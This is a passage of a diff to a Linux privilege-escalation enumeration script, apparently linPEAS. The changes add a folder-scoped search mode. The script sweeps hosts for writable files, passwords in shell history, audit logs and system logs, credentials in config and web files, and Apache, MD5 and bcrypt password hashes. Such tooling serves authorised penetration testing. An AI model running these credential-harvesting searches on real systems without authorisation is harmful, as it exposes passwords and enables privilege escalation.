files (not in Home) (max 500)" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" for g in $(groups); do - iwfbg=$(find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) + iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) if [ "$iwfbg" ] || [ "$DEBUG" ]; then printf " Group $GREEN$g:\n$NC"; printf "%s\n" "$iwfbg" | while read entry; do @@ -4039,6 +4831,13 @@ if ! [ "$IAMROOT" ]; then echo "" fi +##-- IF) Passwords in history cmd +if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then + print_2title "Searching passwords in history cmd" + history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED}," + echo "" +fi + ##-- IF) Passwords in history files if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then print_2title "Searching passwords in history files" @@ -4061,10 +4860,12 @@ if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then fi ##-- IF) TTY passwords -print_2title "Checking for TTY (sudo/su) passwords in audit logs" -aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g" -find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g" -echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Checking for TTY (sudo/su) passwords in audit logs" + aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g" + find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g" + echo "" +fi ##-- IF) IPs inside logs if [ "$DEBUG" ]; then @@ -4074,9 +4875,11 @@ if [ "$DEBUG" ]; then fi ##-- IF) Passwords inside logs -print_2title "Searching passwords inside logs (limit 70)" -(find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED}," -echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching passwords inside logs (limit 70)" + (find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED}," + echo "" +fi if [ "$DEBUG" ]; then ##-- IF) Emails inside logs @@ -4091,7 +4894,11 @@ fi if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then ##-- IF) Find possible files with passwords print_2title "Searching passwords inside key folders (limit 70) - only PHP files" - intpwdfiles=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ $backup_folders_row /tmp /etc /mnt /private -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null) + if ! [ "$SEARCH_IN_FOLDER" ]; then + intpwdfiles=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ $backup_folders_row /tmp /etc /mnt /private -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null) + else + intpwdfiles=$(timeout 150 find $SEARCH_IN_FOLDER -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null) + fi printf "%s\n" "$intpwdfiles" | grep -I ".php:" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g" echo "" @@ -4101,14 +4908,22 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then ##-- IF) Find possible files with passwords print_2title "Searching possible password variables inside key folders (limit 140)" - timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & - timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + if ! [ "$SEARCH_IN_FOLDER" ]; then + timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + else + timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + fi wait echo "" ##-- IF) Find possible conf files with passwords print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)" - ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null) + if ! [ "$SEARCH_IN_FOLDER" ]; then + ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null) + else + ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null) + fi printf "%s\n" "$ppicf" | while read f; do if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then echo "$ITALIC $f$NC" @@ -4116,550 +4931,725 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then fi done echo "" +fi - ##-- IF) Find possible regexes - print_2title "Searching Hashed Passwords" -print_3title "Searching Apr1 MD5 (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q api_keys_regex; then +print_title "API Keys Regex" + +if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then + print_2title "Searching Hashed Passwords" +print_3title_no_nl "Searching Apr1 MD5 (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Apache SHA (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\{SHA\}[0-9a-zA-Z/_=]{10,}~${SED_RED}~" & +print_3title_no_nl "Searching Apache SHA (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Blowfish (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed 